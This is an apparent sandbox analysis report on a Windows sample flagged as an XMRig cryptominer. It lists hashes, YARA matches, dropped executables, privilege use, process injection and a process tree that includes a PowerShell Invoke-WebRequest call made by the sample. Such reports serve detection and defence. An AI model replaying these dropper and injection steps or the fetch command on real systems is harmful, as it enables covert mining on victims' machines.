xmrig | 8d23bd90109bd282071c301ad6b7f924837b79dc1adf9dd3f84681246e9a2ea3

Analysis

max time kernel
150s
max time network
147s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
02-05-2024 23:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
Size

1.9MB
MD5

0f2a1545b88142520eca05f0dd9cbc33
SHA1

f84bf628b74279785dfbf971388cd58b38258358
SHA256

8d23bd90109bd282071c301ad6b7f924837b79dc1adf9dd3f84681246e9a2ea3
SHA512

f8f982e47d87b818f0339d58a859b61ae91aca2b960a656c6b71776ba2e650f13e08ea001ac496488e73c08a94be40bfda6ba52d105a8b24d13aa43589c5579c
SSDEEP

49152:Lz071uv4BPMkibTIA5KIP7nTrmBhihM5xC+U1p:NAB2

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 15 IoCs

miner

resource	yara_rule
behavioral1/memory/2632-26-0x000000013F250000-0x000000013F642000-memory.dmp	xmrig
behavioral1/memory/2884-42-0x000000013F460000-0x000000013F852000-memory.dmp	xmrig
behavioral1/memory/2656-48-0x000000013F150000-0x000000013F542000-memory.dmp	xmrig
behavioral1/memory/2756-47-0x000000013FDC0000-0x00000001401B2000-memory.dmp	xmrig
behavioral1/memory/2224-43-0x000000013FB40000-0x000000013FF32000-memory.dmp	xmrig
behavioral1/memory/2696-34-0x000000013F470000-0x000000013F862000-memory.dmp	xmrig
behavioral1/memory/1344-113-0x000000013FD00000-0x00000001400F2000-memory.dmp	xmrig
behavioral1/memory/1648-1720-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	xmrig
behavioral1/memory/1344-4854-0x000000013FD00000-0x00000001400F2000-memory.dmp	xmrig
behavioral1/memory/2756-4858-0x000000013FDC0000-0x00000001401B2000-memory.dmp	xmrig
behavioral1/memory/2632-4979-0x000000013F250000-0x000000013F642000-memory.dmp	xmrig
behavioral1/memory/2224-5005-0x000000013FB40000-0x000000013FF32000-memory.dmp	xmrig
behavioral1/memory/2884-5004-0x000000013F460000-0x000000013F852000-memory.dmp	xmrig
behavioral1/memory/2696-5025-0x000000013F470000-0x000000013F862000-memory.dmp	xmrig
behavioral1/memory/2656-5163-0x000000013F150000-0x000000013F542000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2584	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2632	dobdAaB.exe
2696	qfrbeZx.exe
2884	LHxZrlk.exe
2224	rTmHhAk.exe
2756	yxVxyAk.exe
2656	PfgRQPz.exe
2848	GjMeOcC.exe
1344	ZffZmMR.exe
2856	szCPvAE.exe
2580	Rqpeknv.exe
2832	fryOFlX.exe
2784	YUaKsuL.exe
1676	sZPncbp.exe
2012	vyNLotS.exe
1856	PZvdepJ.exe
2816	nJHACLg.exe
2164	QYNRsZI.exe
2948	XKLTrxD.exe
2188	SDQmiMt.exe
1356	uZgdxus.exe
1844	CrcUPMr.exe
2292	HVwOrTn.exe
1820	REhtQRm.exe
2168	TPOxhPH.exe
1796	PKoWJEF.exe
1072	jLIUWQu.exe
484	nQrqpxO.exe
604	JTgEJKU.exe
2460	PoplFdH.exe
2916	wurtnGM.exe
1220	tBREdbE.exe
2908	NYSHtPO.exe
1292	SqnCxGd.exe
540	ydtgYuu.exe
768	PVPiDiJ.exe
3068	RnuwNTy.exe
1940	WrFTXDd.exe
2416	kdqeFGZ.exe
1956	WMPREII.exe
1600	tkQoZIY.exe
2016	MRqJgpx.exe
2232	SeMGWNr.exe
284	sCzoWkA.exe
2996	sRqQnEp.exe
2140	uRwkBMW.exe
2432	UkxsdXx.exe
1708	StVzflc.exe
1720	yfFcSwJ.exe
1608	XSsDUWO.exe
2572	nhbPbxF.exe
2920	etVjxkF.exe
1668	riWwDPw.exe
1528	tFPnnsG.exe
1644	rlNUJBd.exe
2684	BvIxjjt.exe
2620	TlsowmT.exe
2516	YVnaykf.exe
2740	XPuuulV.exe
2628	KVerZpv.exe
2644	gMjEifY.exe
2652	EciQPZu.exe
2880	ILaGHQp.exe
2492	aWdGdkb.exe
2540	MMlJSvk.exe

Loads dropped DLL 64 IoCs

pid	Process
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe

UPX packed file 51 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000b0000000122ee-5.dat	upx
behavioral1/files/0x0008000000013a15-15.dat	upx
behavioral1/memory/2632-26-0x000000013F250000-0x000000013F642000-memory.dmp	upx
behavioral1/memory/2884-42-0x000000013F460000-0x000000013F852000-memory.dmp	upx
behavioral1/files/0x0008000000013a85-49.dat	upx
behavioral1/memory/2848-53-0x000000013FE10000-0x0000000140202000-memory.dmp	upx
behavioral1/memory/2656-48-0x000000013F150000-0x000000013F542000-memory.dmp	upx
behavioral1/memory/2756-47-0x000000013FDC0000-0x00000001401B2000-memory.dmp	upx
behavioral1/memory/2224-43-0x000000013FB40000-0x000000013FF32000-memory.dmp	upx
behavioral1/files/0x000a000000013b02-37.dat	upx
behavioral1/memory/2696-34-0x000000013F470000-0x000000013F862000-memory.dmp	upx
behavioral1/files/0x0008000000013a65-22.dat	upx
behavioral1/files/0x00090000000134f5-21.dat	upx
behavioral1/memory/1648-14-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	upx
behavioral1/files/0x0039000000013362-9.dat	upx
behavioral1/files/0x003900000001340e-63.dat	upx
behavioral1/files/0x000600000001475f-81.dat	upx
behavioral1/files/0x00070000000145c9-117.dat	upx
behavioral1/files/0x0006000000014d0f-142.dat	upx
behavioral1/files/0x0006000000014a29-141.dat	upx
behavioral1/files/0x000600000001523e-146.dat	upx
behavioral1/files/0x00060000000155e8-159.dat	upx
behavioral1/files/0x0006000000015b72-164.dat	upx
behavioral1/files/0x0006000000015a15-154.dat	upx
behavioral1/files/0x0006000000015c91-171.dat	upx
behavioral1/files/0x0006000000015077-144.dat	upx
behavioral1/files/0x0006000000014730-132.dat	upx
behavioral1/files/0x000600000001543a-127.dat	upx
behavioral1/files/0x00060000000150aa-126.dat	upx
behavioral1/files/0x0006000000014fac-125.dat	upx
behavioral1/files/0x00060000000145d4-123.dat	upx
behavioral1/files/0x0006000000015ca9-178.dat	upx
behavioral1/files/0x0006000000014c0b-121.dat	upx
behavioral1/files/0x00060000000148af-120.dat	upx
behavioral1/files/0x000600000001474b-119.dat	upx
behavioral1/files/0x00060000000146a7-118.dat	upx
behavioral1/files/0x00130000000054a8-116.dat	upx
behavioral1/memory/1344-113-0x000000013FD00000-0x00000001400F2000-memory.dmp	upx
behavioral1/files/0x000800000001451d-55.dat	upx
behavioral1/files/0x0006000000015c9b-175.dat	upx
behavioral1/files/0x0006000000015cc2-182.dat	upx
behavioral1/files/0x0006000000015b37-161.dat	upx
behavioral1/files/0x0006000000015bb5-168.dat	upx
behavioral1/memory/1648-1720-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	upx
behavioral1/memory/1344-4854-0x000000013FD00000-0x00000001400F2000-memory.dmp	upx
behavioral1/memory/2756-4858-0x000000013FDC0000-0x00000001401B2000-memory.dmp	upx
behavioral1/memory/2632-4979-0x000000013F250000-0x000000013F642000-memory.dmp	upx
behavioral1/memory/2224-5005-0x000000013FB40000-0x000000013FF32000-memory.dmp	upx
behavioral1/memory/2884-5004-0x000000013F460000-0x000000013F852000-memory.dmp	upx
behavioral1/memory/2696-5025-0x000000013F470000-0x000000013F862000-memory.dmp	upx
behavioral1/memory/2656-5163-0x000000013F150000-0x000000013F542000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\xmQsHdO.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\TZLymDZ.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\wxgdvVg.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\XrSjgVh.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\tTpqWfw.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\HIBeFaD.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\UpZtjik.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\mueWBcs.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\MiaYxBr.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\CdWgBDt.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\EwtbBVg.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\skugswH.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\MwtKUVM.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\YAzFtEZ.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\biBvGJv.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\pwpwgdY.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\RRuNyGt.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\GwBomgI.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\JCjuRvx.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\moNWNkv.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\vKRZhBv.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\xFqzSRE.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\eBHHXFl.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\qygcmbW.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\MPBznvB.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\OynqEYx.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\MvRsREs.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\FZApNRF.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\GuNXLUM.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\FZFZDBa.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\BqhjIaN.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\GECbonS.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\FxWMtJI.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\WQVRlpT.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\RYmjvAY.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\QCdBXxf.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\oTUpuDG.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\MqFDOmc.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\QZWKqbJ.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\GEGjccT.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\zJsnses.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\RsrKApE.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\tYErSMe.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\YJBbPzn.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\GABDQVp.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\eBpUpCe.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\EPHJUsE.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\ryHPRTb.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\DmSehxX.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\COyYJiE.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\MRqJgpx.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\wcHSKLz.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\guvYPOc.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\BvIxjjt.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\XvcrCiE.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\tRduQMs.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\zqtqQay.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\EOIgCFf.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\XzTxUiB.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\egfdYuH.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\EHcxEqv.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\klnPhPF.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\iHqGvMu.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
File created	C:\Windows\System\nVZthQh.exe	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2584	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeLockMemoryPrivilege	6992	BBRSFvZ.exe
Token: SeLockMemoryPrivilege	6992	BBRSFvZ.exe
Token: SeLockMemoryPrivilege	10992	Process not Found
Token: SeLockMemoryPrivilege	10992	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 2584	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	29
PID 1648 wrote to memory of 2584	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	29
PID 1648 wrote to memory of 2584	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	29
PID 1648 wrote to memory of 2632	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	30
PID 1648 wrote to memory of 2632	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	30
PID 1648 wrote to memory of 2632	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	30
PID 1648 wrote to memory of 2696	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	31
PID 1648 wrote to memory of 2696	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	31
PID 1648 wrote to memory of 2696	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	31
PID 1648 wrote to memory of 2884	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	32
PID 1648 wrote to memory of 2884	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	32
PID 1648 wrote to memory of 2884	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	32
PID 1648 wrote to memory of 2756	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	33
PID 1648 wrote to memory of 2756	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	33
PID 1648 wrote to memory of 2756	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	33
PID 1648 wrote to memory of 2224	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	34
PID 1648 wrote to memory of 2224	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	34
PID 1648 wrote to memory of 2224	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	34
PID 1648 wrote to memory of 2848	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	35
PID 1648 wrote to memory of 2848	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	35
PID 1648 wrote to memory of 2848	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	35
PID 1648 wrote to memory of 2656	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	36
PID 1648 wrote to memory of 2656	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	36
PID 1648 wrote to memory of 2656	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	36
PID 1648 wrote to memory of 1344	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	37
PID 1648 wrote to memory of 1344	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	37
PID 1648 wrote to memory of 1344	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	37
PID 1648 wrote to memory of 2580	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	38
PID 1648 wrote to memory of 2580	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	38
PID 1648 wrote to memory of 2580	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	38
PID 1648 wrote to memory of 2856	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	39
PID 1648 wrote to memory of 2856	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	39
PID 1648 wrote to memory of 2856	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	39
PID 1648 wrote to memory of 2832	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	40
PID 1648 wrote to memory of 2832	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	40
PID 1648 wrote to memory of 2832	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	40
PID 1648 wrote to memory of 2816	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	41
PID 1648 wrote to memory of 2816	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	41
PID 1648 wrote to memory of 2816	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	41
PID 1648 wrote to memory of 2784	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	42
PID 1648 wrote to memory of 2784	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	42
PID 1648 wrote to memory of 2784	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	42
PID 1648 wrote to memory of 1356	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	43
PID 1648 wrote to memory of 1356	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	43
PID 1648 wrote to memory of 1356	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	43
PID 1648 wrote to memory of 1676	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	44
PID 1648 wrote to memory of 1676	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	44
PID 1648 wrote to memory of 1676	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	44
PID 1648 wrote to memory of 1844	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	45
PID 1648 wrote to memory of 1844	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	45
PID 1648 wrote to memory of 1844	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	45
PID 1648 wrote to memory of 2012	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	46
PID 1648 wrote to memory of 2012	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	46
PID 1648 wrote to memory of 2012	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	46
PID 1648 wrote to memory of 2292	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	47
PID 1648 wrote to memory of 2292	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	47
PID 1648 wrote to memory of 2292	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	47
PID 1648 wrote to memory of 1856	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	48
PID 1648 wrote to memory of 1856	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	48
PID 1648 wrote to memory of 1856	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	48
PID 1648 wrote to memory of 1820	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	49
PID 1648 wrote to memory of 1820	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	49
PID 1648 wrote to memory of 1820	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	49
PID 1648 wrote to memory of 2164	1648	0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe	50

C:\Users\Admin\AppData\Local\Temp\0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0f2a1545b88142520eca05f0dd9cbc33_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2584
- C:\Windows\System\dobdAaB.exe
  C:\Windows\System\dobdAaB.exe
  2⤵
  - Executes dropped EXE
  PID:2632
- C:\Windows\System\qfrbeZx.exe
  C:\Windows\System\qfrbeZx.exe
  2⤵
  - Executes dropped EXE
  PID:2696
- C:\Windows\System\LHxZrlk.exe
  C:\Windows\System\LHxZrlk.exe
  2⤵
  - Executes dropped EXE
  PID:2884
- C:\Windows\System\yxVxyAk.exe
  C:\Windows\System\yxVxyAk.exe
  2⤵
  - Executes dropped EXE
  PID:2756
- C:\Windows\System\rTmHhAk.exe
  C:\Windows\System\rTmHhAk.exe
  2⤵
  - Executes dropped EXE
  PID:2224
- C:\Windows\System\GjMeOcC.exe
  C:\Windows\System\GjMeOcC.exe
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Windows\System\PfgRQPz.exe
  C:\Windows\System\PfgRQPz.exe
  2⤵
  - Executes dropped EXE
  PID:2656
- C:\Windows\System\ZffZmMR.exe
  C:\Windows\System\ZffZmMR.exe
  2⤵
  - Executes dropped EXE
  PID:1344
- C:\Windows\System\Rqpeknv.exe
  C:\Windows\System\Rqpeknv.exe
